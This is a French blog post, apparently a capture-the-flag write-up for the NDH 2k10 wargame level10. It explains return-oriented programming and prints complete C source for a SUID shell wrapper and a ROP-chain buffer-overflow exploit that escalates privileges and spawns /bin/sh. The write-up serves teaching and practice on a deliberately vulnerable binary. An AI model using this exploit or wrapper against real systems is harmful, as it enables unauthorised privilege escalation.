raisep0wn

Geek Stuff & IT Security

NDH 2k10 Public WarGame level10

leave a comment »


Pas de code source pour le level10, enfin pas avant d’avoir validé le challenge. Tout comme l’épreuve précédente, un simple buffer overflow comme le level7 semble suffire, néanmoins nous tenterons d’illustrer une nouvelle technique. A l’exécution du challenge, le programmeur nous met au défis d’exploiter l’application à l’aide d’une technique du nom de ROP, qui signifie Return Oriented Programming. Le principe est simple. Ne pouvant pas exécuter de shellcode sur la pile, nous allons rechercher dans le code de l’application des blocs d’instructions assembleur qui se termine par l’instruction ret. On appelle ces blocs des gadgets. En enchainant ces gadgets sur la pile nous pourrons constituer et exécuter un shellcode. En fonction des mesures de sécurités présentes sur la machine, l’exercice peut s’averer plus ou moins complexe. Il existe plusieurs outils pour rechercher des gadgets dans le code de l’exécutable. Pour ma part j’ai utilisé un petit script python qui rempli parfaitement son rôle : ROPEME (ROP Exploit Made Easy). En enchainant les gadgets on peut par exemple invoquer execv afin de lancer un wrapper qui va lui même lancer un shell en s’assurant de conserver les privilèges obtenus à l’aide du bit SUID.

Code source du wrapper :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[])
{
int euid = geteuid();
setreuid(euid, euid);
execv("/bin/sh", (char *)0);
}

Code source de l’exploit :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//Target program
char target_path[] = "/home/level10/level10";
char *env[] = {"/tmp/wrapper", (char *)0};

int main(int argc, char *argv[])
{
char arg[89]; //Argument
char ebx[5];  //Ebx in little-endian string

//Getting shellcode address in environment varibale array
unsigned int shaddr = 0xbffffffc - (strlen(target_path)+1 + strlen(env[0])+1);

//Convert @shellcode into little-endian
snprintf(ebx, 5, "%c%c%c%c", (char)shaddr&0x000000FF, (char)(shaddr >> 8)&0x000000FF, (char)(shaddr >> 16)&0x000000FF, (char)(shaddr >> 24)&0x000000FF);

//ROP chain
snprintf(arg, 89,
"------------" //garbage
"\x41\x23\x05\x08"    //pop edx ; pop ecx ; pop ebx ;;
"\xff\xff\xff\xff"    //edx
"\xff\xff\xff\xff"    //ecx
"%s"                 //ebx
"\xe9\xec\x04\x08"    //inc edx ; add al 0x83 ;;
"\xa6\x53\x08\x08"    //inc ecx ; adc al 0x39 ;;
"\x5c\x82\x04\x08"    //xor eax eax ; inc eax ;;    eax=0x1
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x2
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x3
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x4
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x5
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x6
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x7
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x8
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x9
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0xa
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0xb
"\x60\x82\x04\x08"    //int 0x80 ; pop ebp ;;
"\xf0\xff\xff\xbf"    //ebp (dont care)
, ebx);

//Exploit
if(!execle(target_path, target_path, arg, (char *)0, env))
{
perror("Unable to execute the target.\n");
exit(1);
}
return 0;
}

Références :

Publicités

Written by Ralph

28/05/2011 à 08:01

Publié dans IT Security

Tagged with , , ,

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

%d blogueurs aiment cette page :